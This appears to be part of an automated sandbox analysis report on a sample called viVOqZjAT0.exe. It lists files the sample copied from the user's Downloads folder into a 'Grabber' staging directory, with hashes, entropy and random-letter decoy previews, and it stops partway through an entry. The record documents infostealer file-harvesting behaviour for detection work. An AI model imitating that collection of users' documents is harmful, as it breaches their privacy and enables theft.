C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NIKHQAIQAU.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.690394987545919
Encrypted:	false
SSDEEP:	24:x8Xtqp+Wamt5Tlx/0lL5fswH7s9cBus1XuWzv:+tNsfMswbVb+WD
MD5:	CA901F8E74EB7955CF06A00BD424C0C2
SHA1:	0876F92A018E8AB57F666FBB048B1CD028607A38
SHA-256:	6DAB1DF82EDD11EEF4FD3B81E692BF065731935C03D4AAEB4493612188DD1D16
SHA-512:	7363E62B6FB08E96BD561FA00A05C7A88C0C20943FC3FB9CD505C77CCB40C549F8943DDFCA69532F6544E9CC929EB5786C488F3D7E8F1AB0F05C3EA10E4EA0B2
Malicious:	false
Preview:	NIKHQAIQAUYLAGKSNVEIEFIHRXSBOKMMEGWDWAKSEZEDBXXYJJOUSSENRJICLDBYWKJEUKRIBTNODZEVLZHOZSPIROLEDDZIVDLRTCVHZIXTARRYNQXDSJTZFOOYHUCROZUVPHMDRIWZWYNOATHQMKGZMPPIBYIAXUSGLYFPQTHUARHNEBTECYTUUCXJOESOPPKVXGBHXGPHIYJEJAYBFOVPMDVWEZNFBQJKZAWGCIWNFBSDPSSBBQTNYDJVQTTPUWPOOTVYKITOESDZWHOTFCZIQUYASDBGWAPMXAFIGQFPGWTRNBMHCXAZNMKIOSHYBMTSDERCDBFQSLEBTIGMCRUGZJZQAMYIFXIHLBUBWXCKIQTVQNMYMUYZWTTRQAVEAQFTTDTEFYTIXVPFUZALHHYLJHLNOFTPHODDWSFLBPCVKNDNFYPRHRVBHZSKKAJYBRTRWEHCIAZYAWYXGIRJSURFADGDZBTKMLEAYICWBYEAKNBIIDMQKZIXOLIQHETRIJJOSQDVZXKTZOMXOXGKIEJJNUHMCNVBNTYVETDBZHKYQLQYJBSUUNGMIURLIIINJAVXYNHTVSYTVBSAGNGQGUYADHTCDXNDKQFKCMHFRLWQZMSHDZEBEGPOSOPFUUHIVYBVXTLHFYHMHALQHNIUKMTKRBYZDOEALSNTXJRYMEETOQRISFEOVJSBVNMZFHXIDWOPIZKHISVTXVHAUPHEUOQLFVPNKREKEFDTLOWUVDKPDDCBKKSSGLLJSGVCAKVVFFKUKYVELNQTKZZRSDNEKDHUGDQWFBGFQMTINSXDOXPQOPZWHRDBBIZNGWLXSHCGVIBTIQEUTFYRIYKHRANDXVFREQPDFPRAKAFCQSRGTEIQGEAVDTJRESPBHYVTTLHWYQSKOZIBJZRSUJETZFCGMBHNYUSWWAENDXQUJFMLWZXGNLDFLSRZJBBJCPWKHFZXEVBDCLKULDSDXUFVEWFBMUMFQQONCJFFBARKNAVJ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\NWTVCDUMOB.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696250160603532
Encrypted:	false
SSDEEP:	24:5Gvoddnzj/gxR0e7uyJ9MLyy07KpRnPgNcnA+2/nSgTfK0Xzy:wv4zCR0ouAMG3wPgNuAZnSQXzy
MD5:	2B6A90B7D410E3A4E2B32C90D816B4FE
SHA1:	B8CD90C4CDCF41CBF18D88A4C01BBA22F670AD83
SHA-256:	D65D483904467EB7373EDA8DFAE2070C057FC93465A4AC5C9FEF8B42340D9DAB
SHA-512:	03AFBF42E5C04E928D03C687B0F17A0AB15428C78958B206DC6C50118B961C9DDF88A6E53B3115F09FDEE44EAFA46B262933164055532D3B4B4F9265F42A6C58
Malicious:	false
Preview:	NWTVCDUMOBTPRQQPHXQLIMGPJXTEMPBNYLBFKQFUEVGISJSVQRMPMZSAYEYQSOTUAJFILXLTKFEVHLSAMYEEFLNJSHLTTFXRTDNUGXEFIGVCAWPMDNUICDIZGPHMESKWSMUPNOFEVXFTSHSKLCVHQTNKDHDMDRJOUTEUSCAUAVMVBMOSYKKRPPZYFUGXFXWMWRACKFCQOUHITLUCHGFZEOIPNCJFJOVBZIKDRNERXOSPKSRMHKTJUGFEOONFWLVNTJWXUFPADWYIUDKAZQXCZRFPUQQAMRTIOEHUDTLGOWYMIDOZAXTLGVEGUCQLJZGMIEQYOLWEMSGZUBWXOIBQEMQLQVGRBTUICFCEJGFTZRZCKJQEMATEONIMJKBYGQYDYXOLLROWXGYCNCVPTMRZSMMSZXKMNPSCJJJKKNRAJXGSLZNKJRJRGMCCCBCIGTLTFKNVDVIHYLGRNXDVIVWBCPNKNIFJAPQQWDQQEDDKNHVJRQJTKCUADORWREEDYTVFAOWHPNXWSNAJCVXCLLTNQPMJQHDILFNQUZJZZJJMMNDNGEBEGSTVAGZJMSMZHWJKNIAFGBUYMVADKCVLDGFQETUZXGUOUWXBBPNOWFERKMKMPOXIOTKJERPVXJGCIUKAGDGITLFYRIBAPKRESMNOMTVTZCXMODUUIGFMEMBMGAGXFZGAAZFCXDWBKKCPUKFFNMVKDFFVZYWKEKBWMADWDZXUIOOLCLIACESGRBJRSMXKUSOKXJEICCPRFWSISDTKVTDVAYSWLRHTWJGCXQMNITQJHCBMSCDRWKMGADWILLATOPVPILEQQGAIPRRUCJFTRRSSWITQKIWJOATZOBETZDBBWAIJIOXCUQSILQHQKEZXWFWWNVEWKZCGFYPBDSDBSFAZDZFRHJBZIGOZCVUGODUTNCDHKKMFHSYKUSFSXOMOUXZYOSUZNJQBXAVPOBTVBINMSIPYONLYRKIHONKWHSUAJWIALOTZAQJSNTIH

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\UMMBDNEQBN.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\VLZDGUKUTZ.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Downloads\XZXHAVGRAG.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.69156792375111
Encrypted:	false
SSDEEP:	24:wT4Ye6841ff8PdGjcDOa8AtDLSoarbrGxYsrxpuzu:/Ye68AIGjiOaDDc4uzu
MD5:	A4E170A8033E4DAE501B5FD3D8AC2B74
SHA1:	589F92029C10058A7B281AA9F2BBFA8C822B5767
SHA-256:	E3F62A514D12A3F7D0EB2FF2DA31113A72063AE2E96F816E9AD4185FF8B15C91
